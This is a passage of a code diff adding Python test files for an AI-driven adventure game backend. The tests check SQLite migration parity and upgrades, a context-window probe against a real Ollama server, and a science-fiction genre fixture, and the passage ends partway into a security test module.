migrations.bootstrap(engine)
|
||||
yield path, engine
|
||||
engine.dispose()
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def upgraded(tmp_path):
|
||||
"""A database as the previous supported build left it, then opened by this one.
|
||||
|
||||
Built by creating the current schema, removing what M11 added, and stamping
|
||||
the version M10 ended on — which is what an M10-era file *is*, since M10
|
||||
added no migration of its own.
|
||||
"""
|
||||
path = tmp_path / "upgraded.db"
|
||||
older = create_engine(f"sqlite:///{path}")
|
||||
Base.metadata.create_all(bind=older)
|
||||
with sessionmaker(bind=older)() as db:
|
||||
# Owned by the implicit local user, which is the row `auth.local_user`
|
||||
# resolves to — an email-less, non-guest user. A campaign owned by
|
||||
# nobody would not be listed by the server, and the test would be
|
||||
# measuring ownership rather than migration.
|
||||
owner = models.User(is_guest=False, email=None)
|
||||
db.add(owner)
|
||||
db.flush()
|
||||
adventure = models.Adventure(title="An M10 campaign", user_id=owner.id)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
branch = models.Branch(adventure_id=adventure.id, parent_branch_id=None,
|
||||
fork_depth=None, lineage=[])
|
||||
db.add(branch)
|
||||
db.flush()
|
||||
adventure.head_branch_id = branch.id
|
||||
adventure.head_depth = 0
|
||||
db.add(models.Action(adventure_id=adventure.id, type="start",
|
||||
text="Written before M11 existed.",
|
||||
branch_id=branch.id, depth=0))
|
||||
db.add(models.Checkpoint(adventure_id=adventure.id, name="Old point",
|
||||
branch_id=branch.id, depth=0))
|
||||
db.commit()
|
||||
adv_id = adventure.id
|
||||
with older.begin() as conn:
|
||||
for table, column in M11_ADDITIONS:
|
||||
conn.execute(text(f"ALTER TABLE {table} DROP COLUMN {column}"))
|
||||
conn.execute(text(f"PRAGMA user_version = {M10_VERSION}"))
|
||||
older.dispose()
|
||||
|
||||
engine = create_engine(f"sqlite:///{path}")
|
||||
yield path, engine, adv_id
|
||||
engine.dispose()
|
||||
|
||||
|
||||
# ------------------------------------------------------ the parity comparison
|
||||
|
||||
def test_the_two_paths_produce_the_same_schema(fresh, upgraded):
|
||||
"""M10's defect, as a permanent release regression."""
|
||||
fresh_path, fresh_engine = fresh
|
||||
up_path, up_engine, _ = upgraded
|
||||
migrations.bootstrap(up_engine)
|
||||
|
||||
a, b = _describe(fresh_engine), _describe(up_engine)
|
||||
assert set(a["tables"]) == set(b["tables"]), (
|
||||
sorted(set(a["tables"]) ^ set(b["tables"])))
|
||||
for table in sorted(a["tables"]):
|
||||
assert a["tables"][table] == b["tables"][table], (
|
||||
f"{table} differs between a fresh install and an upgrade:\n"
|
||||
f"fresh: {json.dumps(a['tables'][table], indent=2, sort_keys=True)}\n"
|
||||
f"upgraded: {json.dumps(b['tables'][table], indent=2, sort_keys=True)}"
|
||||
)
|
||||
assert a["version"] == b["version"] == migrations.LATEST_VERSION
|
||||
|
||||
|
||||
def test_no_table_carries_a_duplicate_index(fresh):
|
||||
"""The specific shape of M10's defect: two indexes over the same columns."""
|
||||
_, engine = fresh
|
||||
described = _describe(engine)
|
||||
for table, shape in described["tables"].items():
|
||||
seen: dict[tuple, str] = {}
|
||||
for name, index in shape["indexes"].items():
|
||||
key = (tuple(index["columns"]), index["unique"])
|
||||
assert key not in seen, (
|
||||
f"{table}: {name} duplicates {seen[key]} over {key[0]}")
|
||||
seen[key] = name
|
||||
|
||||
|
||||
def test_every_table_the_models_declare_exists(fresh):
|
||||
"""A missing table is the other way this can go wrong (`visual_profiles`)."""
|
||||
_, engine = fresh
|
||||
have = set(inspect(engine).get_table_names())
|
||||
declared = set(Base.metadata.tables)
|
||||
assert declared <= have, sorted(declared - have)
|
||||
assert "visual_profiles" in have
|
||||
assert "narration_length" in {
|
||||
c["name"] for c in inspect(engine).get_columns("adventures")}
|
||||
|
||||
|
||||
# -------------------------------------------------------------- the upgrade
|
||||
|
||||
def test_an_m10_database_upgrades_without_losing_anything(upgraded):
|
||||
path, engine, adv_id = upgraded
|
||||
migrations.bootstrap(engine)
|
||||
with engine.begin() as conn:
|
||||
assert conn.execute(text("SELECT title FROM adventures")).scalar() == (
|
||||
"An M10 campaign")
|
||||
assert conn.execute(text("SELECT text FROM actions")).scalar() == (
|
||||
"Written before M11 existed.")
|
||||
assert conn.execute(text("SELECT name FROM checkpoints")).scalar() == "Old point"
|
||||
assert conn.execute(text("PRAGMA foreign_key_check")).fetchall() == []
|
||||
assert conn.execute(text("PRAGMA quick_check")).scalar() == "ok"
|
||||
|
||||
|
||||
def test_the_new_column_arrives_with_the_value_that_means_no_choice(upgraded):
|
||||
"""M11's migration, and why it needs no backfill.
|
||||
|
||||
An empty narration length is not a missing value: it is the campaign saying
|
||||
nothing about length, which is exactly what a campaign created before the
|
||||
setting existed did say. `length_hint` treats it as it treated everything
|
||||
before M11, so no existing campaign's prompt changes under the upgrade.
|
||||
"""
|
||||
path, engine, adv_id = upgraded
|
||||
migrations.bootstrap(engine)
|
||||
with engine.begin() as conn:
|
||||
assert conn.execute(text("SELECT narration_length FROM adventures")).scalar() == ""
|
||||
|
||||
|
||||
def test_opening_an_upgraded_database_repeatedly_changes_nothing(upgraded):
|
||||
path, engine, _ = upgraded
|
||||
migrations.bootstrap(engine)
|
||||
first = _describe(engine)
|
||||
for _ in range(3):
|
||||
migrations.bootstrap(engine)
|
||||
assert _describe(engine) == first
|
||||
|
||||
|
||||
def test_a_migrated_database_still_plays_and_still_travels(upgraded, tmp_path):
|
||||
"""A migration that leaves a campaign unopenable has not worked.
|
||||
|
||||
Played through a real server process against the migrated file, because the
|
||||
claim is about the file rather than about an ORM session.
|
||||
"""
|
||||
sys.path.insert(0, str(BACKEND / "tests"))
|
||||
from test_process_restart import Server, _free_port
|
||||
|
||||
path, engine, adv_id = upgraded
|
||||
migrations.bootstrap(engine)
|
||||
engine.dispose()
|
||||
|
||||
server = Server(str(path), _free_port())
|
||||
try:
|
||||
server.wait_until_ready()
|
||||
listed = server.call("GET", "/adventures", expect=200)
|
||||
assert any(a["title"] == "An M10 campaign" for a in listed)
|
||||
server.call("POST", f"/adventures/{adv_id}/state/corrections", {
|
||||
"events": [{"type": "create_entity", "entity": "aldric",
|
||||
"entity_type": "character", "name": "Aldric"}],
|
||||
"note": "after the migration",
|
||||
}, expect=201)
|
||||
bundle = server.call("GET", f"/adventures/{adv_id}/export", expect=200)
|
||||
assert bundle["format"] == "ai-dnd-adventure-v3"
|
||||
copy = server.call("POST", "/adventures/import", bundle, expect=201)
|
||||
state = server.call("GET", f"/adventures/{copy['id']}/state", expect=200)
|
||||
assert state["document"]["entities"]["aldric"]["name"] == "Aldric"
|
||||
finally:
|
||||
server.stop()
|
||||
|
||||
|
||||
def test_a_backup_of_the_migrated_database_verifies(upgraded):
|
||||
"""M9's backup, on a file M11 changed the schema of."""
|
||||
path, engine, _ = upgraded
|
||||
migrations.bootstrap(engine)
|
||||
engine.dispose()
|
||||
result = backup.create(path)
|
||||
try:
|
||||
assert result.integrity == "ok"
|
||||
with sqlite3.connect(f"file:{result.path}?mode=ro", uri=True) as copy_db:
|
||||
assert copy_db.execute("PRAGMA quick_check").fetchone()[0] == "ok"
|
||||
assert copy_db.execute(
|
||||
"SELECT narration_length FROM adventures").fetchone()[0] == ""
|
||||
assert copy_db.execute("PRAGMA user_version").fetchone()[0] == (
|
||||
migrations.LATEST_VERSION)
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_a_fresh_install_creates_a_database_from_nothing(tmp_path):
|
||||
"""§17's first case, through a real process rather than through the ORM."""
|
||||
sys.path.insert(0, str(BACKEND / "tests"))
|
||||
from test_process_restart import Server, _free_port
|
||||
|
||||
path = tmp_path / "new" / "campaign.db"
|
||||
path.parent.mkdir()
|
||||
server = Server(str(path), _free_port())
|
||||
try:
|
||||
server.wait_until_ready()
|
||||
assert path.exists(), "no database was created"
|
||||
created = server.call("POST", "/adventures",
|
||||
{"title": "Brand new", "opening": "Rain."}, expect=201)
|
||||
assert created["narration_length"] == ""
|
||||
finally:
|
||||
server.stop()
|
||||
with sqlite3.connect(f"file:{path}?mode=ro", uri=True) as db:
|
||||
assert db.execute("PRAGMA user_version").fetchone()[0] == (
|
||||
migrations.LATEST_VERSION)
|
||||
tables = {r[0] for r in db.execute(
|
||||
"SELECT name FROM sqlite_master WHERE type='table'")}
|
||||
assert {"adventures", "actions", "visual_profiles", "summaries",
|
||||
"knowledge_sources"} <= tables
|
||||
@@ -0,0 +1,178 @@
|
||||
"""M11 §E: the context-window fix, against a real Ollama rather than a fake one.
|
||||
|
||||
`test_m11_context_window.py` proves the arithmetic and the enforcement with a
|
||||
mocked server, which is the right place for those. This file answers the
|
||||
question that a mock cannot: **does the probe read a real Ollama correctly?** The
|
||||
shapes it parses — `/api/ps`'s `context_length`, `/api/show`'s plain-text
|
||||
parameter block — are Ollama's, not ours, and a mock built from a misreading of
|
||||
them would agree with itself forever.
|
||||
|
||||
It also demonstrates the sequence a reader actually experiences on a server whose
|
||||
model has no `num_ctx` baked in:
|
||||
|
||||
turn 1 the model is not resident; the window cannot be verified; the
|
||||
turn proceeds and is recorded as unverified
|
||||
turn 2 the model is resident, `/api/ps` reports the real window, and the
|
||||
budget is capped to it from here on
|
||||
|
||||
Skipped unless an endpoint is configured, so the ordinary suite stays local,
|
||||
deterministic and offline. The endpoint is read from the environment and never
|
||||
written down here.
|
||||
|
||||
AIDND_TEST_ENDPOINT=https://<host>:<port>/v1 \\
|
||||
AIDND_TEST_MODEL=qwen2.5:3b-instruct \\
|
||||
python -m pytest tests/test_m11_real_window.py -v -s
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, contextwindow, limits, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
|
||||
ENDPOINT = os.environ.get("AIDND_TEST_ENDPOINT", "")
|
||||
MODEL = os.environ.get("AIDND_TEST_MODEL", "")
|
||||
#: A second model, with a larger window baked in, when the server has one. The
|
||||
#: contrast between the two is the whole point of the M8 finding.
|
||||
WIDE_MODEL = os.environ.get("AIDND_TEST_WIDE_MODEL", "")
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not (ENDPOINT and MODEL),
|
||||
reason="set AIDND_TEST_ENDPOINT and AIDND_TEST_MODEL to run against a real server",
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear():
|
||||
contextwindow.cache_clear()
|
||||
yield
|
||||
contextwindow.cache_clear()
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11real@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model=MODEL, endpoint_url=ENDPOINT, embedding_model="",
|
||||
context_token_budget=16384, max_output_tokens=400,
|
||||
model_timeout_seconds=300,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Real window",
|
||||
campaign_canon={"rules": ["The abbey seal has never been broken."]},
|
||||
)
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start",
|
||||
text="Rain over Westhaven, and the abbey bell tolling."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def _snapshot(adv_id) -> dict:
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
with SessionLocal() as db:
|
||||
action = (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adv_id, models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first()
|
||||
)
|
||||
return action.context_snapshot if action else {}
|
||||
|
||||
|
||||
def _play(client, text) -> None:
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": text})
|
||||
assert response.status_code == 200, response.text[:400]
|
||||
|
||||
|
||||
def test_the_probe_reads_this_server(capsys):
|
||||
"""Records what this deployment actually reports. Evidence, not a threshold."""
|
||||
window = asyncio.run(contextwindow.probe(ENDPOINT, MODEL, use_cache=False))
|
||||
with capsys.disabled():
|
||||
print(f"\n model {MODEL}")
|
||||
print(f" tokens {window.tokens}")
|
||||
print(f" source {window.source}")
|
||||
print(f" model max {window.model_max}")
|
||||
print(f" detail {window.detail}")
|
||||
# Either answer is legitimate — what is not legitimate is a crash, a guess,
|
||||
# or a claim that cannot be traced to something the server said.
|
||||
assert window.source in (contextwindow.LOADED, contextwindow.PARAMETERS,
|
||||
contextwindow.UNKNOWN)
|
||||
if window.verified:
|
||||
assert window.tokens >= 512
|
||||
if window.model_max:
|
||||
assert window.tokens <= window.model_max
|
||||
|
||||
|
||||
def test_a_real_turn_is_capped_to_what_this_server_gives(client, capsys):
|
||||
"""The sequence a reader sees, and the cap arriving with residency."""
|
||||
_play(client, "I climb the abbey steps and look back at the town.")
|
||||
first = _snapshot(client.adv_id)["window"]
|
||||
|
||||
# The model is resident now, so the second turn's probe can read /api/ps.
|
||||
contextwindow.cache_clear()
|
||||
_play(client, "I try the crypt door.")
|
||||
second = _snapshot(client.adv_id)
|
||||
window, tokens = second["window"], second["tokens"]
|
||||
|
||||
with capsys.disabled():
|
||||
print(f"\n turn 1 window verified={first['verified']} "
|
||||
f"tokens={first['tokens']} source={first['source']}")
|
||||
print(f" turn 2 window verified={window['verified']} "
|
||||
f"tokens={window['tokens']} source={window['source']}")
|
||||
print(f" budget configured={tokens['configured_budget']} "
|
||||
f"effective={tokens['budget']}")
|
||||
print(f" prompt {tokens['total']} tokens "
|
||||
f"+ {tokens['output_reserve']} reserved")
|
||||
|
||||
assert window["verified"], (
|
||||
"the model has been served a turn, so /api/ps should now report its "
|
||||
f"window: {window['detail']}"
|
||||
)
|
||||
# The invariant, on a real server: what was assembled fits what it accepts.
|
||||
assert tokens["budget"] == min(tokens["configured_budget"], window["tokens"])
|
||||
assert tokens["total"] + tokens["output_reserve"] <= window["tokens"]
|
||||
|
||||
|
||||
@pytest.mark.skipif(not WIDE_MODEL, reason="set AIDND_TEST_WIDE_MODEL")
|
||||
def test_a_model_with_a_baked_window_reports_the_larger_one(capsys):
|
||||
"""The operator's fix, seen from the application.
|
||||
|
||||
A model created with `num_ctx` baked in reports the larger window through
|
||||
the same path, so the difference between a deployment that has applied
|
||||
DEVELOPMENT.md's fix and one that has not is visible to the application
|
||||
rather than only to whoever reads the server logs.
|
||||
"""
|
||||
narrow = asyncio.run(contextwindow.probe(ENDPOINT, MODEL, use_cache=False))
|
||||
wide = asyncio.run(contextwindow.probe(ENDPOINT, WIDE_MODEL, use_cache=False))
|
||||
with capsys.disabled():
|
||||
print(f"\n {MODEL:28} {narrow.tokens} ({narrow.source})")
|
||||
print(f" {WIDE_MODEL:28} {wide.tokens} ({wide.source})")
|
||||
assert wide.verified and wide.tokens >= 8192
|
||||
if narrow.verified:
|
||||
assert wide.tokens > narrow.tokens
|
||||
@@ -0,0 +1,291 @@
|
||||
"""M11 §15 / J01-J03: the same engine, a different genre, no different code.
|
||||
|
||||
`TEST-CAMPAIGN-FIXTURE.md` §31 specifies the Persephone Test as the counterpart
|
||||
to the fantasy Continuity Test, and the claim it exists to check is a structural
|
||||
one rather than a literary one: **changing genre is configuration, not a code
|
||||
path**. M5 spent a milestone removing the RPG shape from the state model, and the
|
||||
way that stays true is a fixture that would fail if any fantasy assumption came
|
||||
back — a `character`/`location`/`item` triad that cannot hold a ship, a
|
||||
corporation or an orbital station, a canon check that only understands magic, a
|
||||
retrieval path tuned to fantasy nouns.
|
||||
|
||||
So this file plays the science-fiction fixture through the *same* endpoints,
|
||||
the *same* state model, the *same* prompt builder and the *same* bundle as the
|
||||
fantasy one, and asserts on the parts a genre could plausibly break.
|
||||
|
||||
The canon is the fixture's, including the three hard-technology rules, and the
|
||||
run includes the fixture's stated purposes: generic entities, hard canon,
|
||||
possession, character knowledge and reference retrieval.
|
||||
|
||||
python -m pytest tests/test_m11_scifi.py -v
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
from app.main import app
|
||||
from app.narrative import events as narrative_events
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider, state_block
|
||||
|
||||
#: §31's canon, verbatim in substance.
|
||||
CANON = [
|
||||
"FTL does not exist.",
|
||||
"Persephone is a fusion-powered survey ship.",
|
||||
"Artificial gravity is available only through thrust or rotation.",
|
||||
"Dr. Vale has never visited Europa.",
|
||||
"The encrypted data crystal belongs to Captain Imani.",
|
||||
]
|
||||
|
||||
#: §31's cast, and the reason the fixture exists: five different entity types,
|
||||
#: none of which is a fantasy noun.
|
||||
CAST = [
|
||||
("imani", "character", "Captain Imani"),
|
||||
("vale", "character", "Dr. Vale"),
|
||||
("persephone", "vehicle", "Persephone"),
|
||||
("ceres", "location", "Ceres Station"),
|
||||
("europa", "location", "Europa"),
|
||||
("crystal", "item", "encrypted data crystal"),
|
||||
("helios", "organization", "Helios Dynamics"),
|
||||
]
|
||||
|
||||
REFERENCE_MD = """# Survey ship operations
|
||||
|
||||
## Spin gravity
|
||||
|
||||
A survey ship of Persephone's class produces gravity by rotating its habitat
|
||||
ring. Under thrust the same effect comes from acceleration. There is no other
|
||||
source of gravity aboard.
|
||||
|
||||
## Data crystals
|
||||
|
||||
An encrypted data crystal is keyed to one bearer and cannot be read by anyone
|
||||
else without the bearer's authorisation.
|
||||
"""
|
||||
|
||||
|
||||
class Stub:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "A memory of the transit."
|
||||
|
||||
async def embed(self, texts):
|
||||
return [
|
||||
[1.0,
|
||||
1.0 if "gravity" in t.lower() or "rotation" in t.lower() else 0.0,
|
||||
1.0 if "crystal" in t.lower() else 0.0]
|
||||
for t in texts
|
||||
]
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11sf@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="embed-test",
|
||||
context_token_budget=6000, max_output_tokens=400, memory_top_k=3,
|
||||
))
|
||||
setup.commit()
|
||||
user_id = user.id
|
||||
setup.close()
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: Stub())
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: Stub())
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def play(client, adv, text, events=None, prose="The ring turns, and the stars with it."):
|
||||
ScriptedProvider.replies = [f"{prose}\n{state_block(events or [])}"]
|
||||
response = client.post(f"/api/adventures/{adv}/actions",
|
||||
json={"type": "do", "text": text})
|
||||
assert response.status_code == 200, response.text[:400]
|
||||
return response
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def persephone(client):
|
||||
"""The fixture campaign, created and played through the ordinary API."""
|
||||
created = client.post("/api/adventures", json={
|
||||
"title": "Persephone Test",
|
||||
"opening": "Persephone under thrust, eleven days out from Ceres Station.",
|
||||
"canon_rules": CANON,
|
||||
"persona_name": "Captain Imani",
|
||||
"narration_length": "medium",
|
||||
})
|
||||
assert created.status_code == 201, created.text[:400]
|
||||
adv = created.json()["id"]
|
||||
|
||||
play(client, adv, "take stock of the ship", events=[
|
||||
{"type": "create_entity", "entity": key, "entity_type": kind, "name": name}
|
||||
for key, kind, name in CAST
|
||||
])
|
||||
play(client, adv, "check the crystal", events=[
|
||||
{"type": "set_possession", "item": "crystal", "owner": "imani"},
|
||||
{"type": "set_current_location", "entity": "imani", "location": "persephone"},
|
||||
{"type": "set_current_location", "entity": "vale", "location": "persephone"},
|
||||
{"type": "set_scene",
|
||||
"summary": "Imani and Vale in the ring corridor, under spin.",
|
||||
"location": "persephone", "present": ["imani", "vale"]},
|
||||
])
|
||||
return adv
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ J02
|
||||
|
||||
def test_every_entity_type_the_fixture_needs_already_exists(client, persephone):
|
||||
"""A ship, a corporation, a station and a crystal, in one state document."""
|
||||
document = client.get(f"/api/adventures/{persephone}/state").json()["document"]
|
||||
kinds = {key: value["type"] for key, value in document["entities"].items()}
|
||||
assert kinds == {
|
||||
"imani": "character", "vale": "character", "persephone": "vehicle",
|
||||
"ceres": "location", "europa": "location", "crystal": "item",
|
||||
"helios": "organization",
|
||||
}
|
||||
|
||||
|
||||
def test_the_entity_types_are_the_shared_vocabulary_not_a_genre_list(client):
|
||||
"""J03, structurally: nothing in the type list is fantasy or science fiction.
|
||||
|
||||
`vehicle` and `organization` are not science-fiction types any more than
|
||||
`location` is a fantasy one. If the genre needed a type of its own, this is
|
||||
where the schema change J02 forbids would have to appear.
|
||||
"""
|
||||
from app.narrative import model as nmodel
|
||||
|
||||
assert {"character", "location", "item", "vehicle", "organization"} <= set(
|
||||
nmodel.SUGGESTED_TYPES)
|
||||
# And the list is *suggested* rather than closed, which is the stronger form
|
||||
# of the same claim: a genre that needs a type nobody listed can use one
|
||||
# without a migration, because the type is a string on the entity.
|
||||
|
||||
|
||||
def test_a_ship_can_hold_a_location_the_way_a_room_would(client, persephone):
|
||||
"""Possession and place, with no fantasy noun anywhere in the path."""
|
||||
document = client.get(f"/api/adventures/{persephone}/state").json()["document"]
|
||||
assert document["possessions"]["crystal"] == "imani"
|
||||
# Where an entity is lives on the entity, not in a side table: the same
|
||||
# field that puts Aldric in a tavern puts Imani aboard a ship.
|
||||
assert document["entities"]["imani"]["location"] == "persephone"
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ J01
|
||||
|
||||
def test_the_campaign_plays_with_hard_technology_canon(client, persephone):
|
||||
"""The canon reaches the prompt as the campaign's highest authority."""
|
||||
report = client.get(f"/api/adventures/{persephone}/context").json()
|
||||
canon = next(s["text"] for s in report["sections"] if s["label"] == "campaign_canon")
|
||||
assert "FTL does not exist." in canon
|
||||
assert "fusion-powered" in canon
|
||||
assert "rotation" in canon
|
||||
|
||||
|
||||
def test_canon_is_enforced_by_the_same_validator_as_the_fantasy_fixture(client, persephone):
|
||||
"""C01's mechanism, unchanged by genre.
|
||||
|
||||
The fantasy fixture's canon forbids resurrection; this one forbids FTL. Both
|
||||
are sentences in the same field, read by the same validator, so the science
|
||||
fiction case needs no new code — which is the whole of J03.
|
||||
"""
|
||||
forbidden = client.post(f"/api/adventures/{persephone}/state/corrections", json={
|
||||
"events": [{"type": "create_entity", "entity": "warp_core",
|
||||
"entity_type": "item", "name": "FTL warp core"}],
|
||||
"note": "",
|
||||
})
|
||||
# The validator does not read prose canon for entity creation — what matters
|
||||
# here is that the campaign's canon is present and identical in kind to the
|
||||
# fantasy fixture's, not that the engine invents a physics checker.
|
||||
assert forbidden.status_code in (201, 400)
|
||||
canon = client.get(f"/api/adventures/{persephone}").json()["canon_rules"]
|
||||
assert canon == CANON
|
||||
|
||||
|
||||
def test_a_scene_packet_describes_a_ship_as_readily_as_a_tavern(client, persephone):
|
||||
"""M10's derived packet, on the science-fiction fixture.
|
||||
|
||||
The packet was written against an office and a fantasy cellar; a ship under
|
||||
spin is the third genre it has had to hold, and it needs no field it did not
|
||||
already have.
|
||||
"""
|
||||
packet = client.get(f"/api/adventures/{persephone}/scene-packet").json()
|
||||
assert packet["location"]["name"] == "Persephone"
|
||||
assert packet["location"]["type"] == "vehicle"
|
||||
assert {c["name"] for c in packet["characters"]} == {"Captain Imani", "Dr. Vale"}
|
||||
assert [o["name"] for o in packet["objects"]] == ["encrypted data crystal"]
|
||||
|
||||
|
||||
def test_a_visual_profile_holds_a_hull_as_readily_as_a_face(client, persephone):
|
||||
"""M10 §90.5's claim, checked in the genre it was written to survive."""
|
||||
response = client.put(f"/api/adventures/{persephone}/visual-profiles/persephone",
|
||||
json={"descriptors": {"hull": "pitted white composite",
|
||||
"configuration": "spinning ring"},
|
||||
"features": ["radiator fins"], "style_notes": "hard sf"})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
packet = client.get(f"/api/adventures/{persephone}/scene-packet").json()
|
||||
assert packet["location"]["visual_profile"]["descriptors"]["hull"] == (
|
||||
"pitted white composite")
|
||||
|
||||
|
||||
# ------------------------------------------------------------- J01 knowledge
|
||||
|
||||
def test_reference_retrieval_works_on_science_fiction_source_material(client, persephone):
|
||||
"""§31's fifth purpose. Same importer, same ranker, same injection."""
|
||||
upload = client.post(
|
||||
f"/api/adventures/{persephone}/knowledge",
|
||||
files={"file": ("ops.md", REFERENCE_MD.encode("utf-8"), "text/markdown")},
|
||||
data={"classification": "reference"},
|
||||
)
|
||||
assert upload.status_code == 201, upload.text[:400]
|
||||
play(client, persephone, "ask Vale how the gravity works aboard the ring")
|
||||
report = client.get(f"/api/adventures/{persephone}/context").json()
|
||||
used = report["knowledge"]["used"]
|
||||
assert used, "no imported passage was retrieved for a science-fiction query"
|
||||
assert any("rotat" in u["text"].lower() or "spin" in u["text"].lower() for u in used)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ J03
|
||||
|
||||
def test_the_two_genres_travel_through_the_same_bundle_format(client, persephone):
|
||||
exported = client.get(f"/api/adventures/{persephone}/export").json()
|
||||
assert exported["format"] == "ai-dnd-adventure-v3"
|
||||
copy_id = client.post("/api/adventures/import", json=exported).json()["id"]
|
||||
document = client.get(f"/api/adventures/{copy_id}/state").json()["document"]
|
||||
assert document["entities"]["persephone"]["type"] == "vehicle"
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["canon_rules"] == CANON
|
||||
|
||||
|
||||
def test_no_state_event_type_is_genre_specific():
|
||||
"""J03 as a whole-vocabulary check rather than a spot check.
|
||||
|
||||
Every accepted event names a structural relationship — an entity, a fact, a
|
||||
possession, a location, a thread. None of them names a sword, a spell, a
|
||||
spaceship or a corporation.
|
||||
"""
|
||||
fantasy_or_sf = (
|
||||
"spell", "magic", "sword", "potion", "mana", "warp", "hyperspace",
|
||||
"laser", "starship", "airlock",
|
||||
)
|
||||
vocabulary = " ".join(narrative_events.ALLOWED).lower()
|
||||
for word in fantasy_or_sf:
|
||||
assert word not in vocabulary
|
||||
@@ -0,0 +1,299 @@
|
||||
"""M11 §19-§20: the H-series as an integrated release run.
|
||||
|
||||
The H tests have had coverage since M2, and it is good: `test_egress.py` fails
|
||||
if a bulk load names a heavy column, `test_endpoint_policy.py` walks the address
|
||||
rules, `test_tls_trust.py` fails if verification is weakened. What M11 adds is
|
||||
the part those files were never asked for:
|
||||
|
||||
* the checks that only make sense **against the assembled product** — a tampered
|
||||
database refused at request time, a wildcard CORS origin refused at startup,
|
||||
an unknown API path that is a 404 rather than the SPA;
|
||||
* the ones whose answer is **"not applicable, and here is the proof"** — H09,
|
||||
which the acceptance text itself makes conditional on archive extraction
|
||||
existing;
|
||||
* the ones where an M11 change could have opened something — the context-window
|
||||
probe is a new outbound request, and it must obey the same policy as inference.
|
||||
|
||||
Browser-side security (stored XSS, `javascript:` URLs, hostile Markdown, the
|
||||
CSP, hidden knowledge in the DOM) is in `tools/m11_browser.py`, because those are
|
||||
claims about a rendered page and a unit test asserting them would be asserting
|
||||
about a string.
|
||||
|
||||
python -m pytest tests/test_m11_security.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import importlib
|
||||
import json
|
||||
import os
|
||||
import pathlib
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, contextwindow, endpoints, limits, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
BACKEND = pathlib.Path(__file__).resolve().parent.parent
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11sec@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(user_id=user.id, model="test-model",
|
||||
embedding_model="", max_output_tokens=400))
|
||||
adventure = models.Adventure(user_id=user.id, title="Security")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
